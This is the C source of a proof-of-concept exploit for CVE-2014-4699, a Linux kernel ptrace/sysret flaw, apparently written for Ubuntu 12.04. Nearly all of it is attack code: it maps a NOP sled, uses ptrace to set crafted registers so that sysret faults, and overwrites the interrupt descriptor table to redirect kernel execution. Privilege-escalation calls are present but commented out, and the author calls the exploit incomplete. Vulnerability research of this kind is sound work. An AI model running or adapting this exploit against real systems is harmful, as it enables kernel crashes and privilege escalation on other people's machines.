/**
* CVE-2014-4699 ptrace/sysret PoC
* by Vitaly Nikolenko
* vnik@hashcrack.org
*
* > gcc -O2 poc_v0.c
*
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
* following will trigger the #GP in sysret and overwrite the #PF handler so we
* can land to our NOP sled mapped at 0x80000000.
* However, once landed, the IDT will be trashed. We can either attempt to
* restore it (then escalate privileges and execute our shellcode) or find
* something else to overwrite that would transfer exec flow to our controlled
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
* have any ideas, let me know.
*/
#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>
#define SIZE 0x10000000
typedef
int
__attribute__((regparm(3))) (*commit_creds_fn)(unsigned
long
cred);
typedef
unsigned
long
__attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned
long
cred);
unsigned
long
__user_cs;
unsigned
long
__user_ss;
unsigned
long
__user_rflags;
void
__attribute__((regparm(3))) payload() {
uint32_t *fixptr = (
void
*)0xffffffff81dd70e8;
// restore the #PF handler
*fixptr = -1;
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
//commit_creds(prepare_kernel_cred((uint64_t)NULL));
//__asm__ volatile ("swapgs\n\t"
// "...");
}
int
main() {
struct
user_regs_struct regs;
uint8_t *trampoline, *tmp;
int
status;
struct
{
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
// MAP_POPULATE so we don't trigger extra #PF
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
assert
(trampoline == 0x80000000);
memset
(trampoline, 0x90, SIZE);
tmp = trampoline;
tmp += SIZE-1024;
memcpy
(tmp, &payload, 1024);
memcpy
(tmp-13,
"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf"
, 13);
pid_t chld;
if
((chld = fork()) < 0) {
perror
(
"fork"
);
exit
(1);
}
if
(chld == 0) {
if
(ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
perror
(
"PTRACE_TRACEME"
);
exit
(1);
}
raise
(SIGSTOP);
fork();
return
0;
}
asm
volatile
(
"sidt %0"
:
"=m"
(idt));
printf
(
"IDT addr = 0x%lx\n"
, idt.addr);
waitpid(chld, &status, 0);
ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
ptrace(PTRACE_CONT, chld, 0, 0);
waitpid(chld, &status, 0);
ptrace(PTRACE_GETREGS, chld, NULL, ®s);
regs.rdi = 0x0000000000000000;
regs.rip = 0x8fffffffffffffff;
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
// attempt to restore the IDT
regs.rdi = 0x0000000000000000;
regs.rsi = 0x81658e000010cbd0;
regs.rdx = 0x00000000ffffffff;
regs.rcx = 0x81658e000010cba0;
regs.rax = 0x00000000ffffffff;
regs.r8 = 0x81658e010010cb00;
regs.r9 = 0x00000000ffffffff;
regs.r10 = 0x81668e0000106b10;
regs.r11 = 0x00000000ffffffff;
regs.rbx = 0x81668e0000106ac0;
regs.rbp = 0x00000000ffffffff;
regs.r12 = 0x81668e0000106ac0;
regs.r13 = 0x00000000ffffffff;
regs.r14 = 0x81668e0200106a90;
regs.r15 = 0x00000000ffffffff;
ptrace(PTRACE_SETREGS, chld, NULL, ®s);
ptrace(PTRACE_CONT, chld, 0, 0);
ptrace(PTRACE_DETACH, chld, 0, 0);
}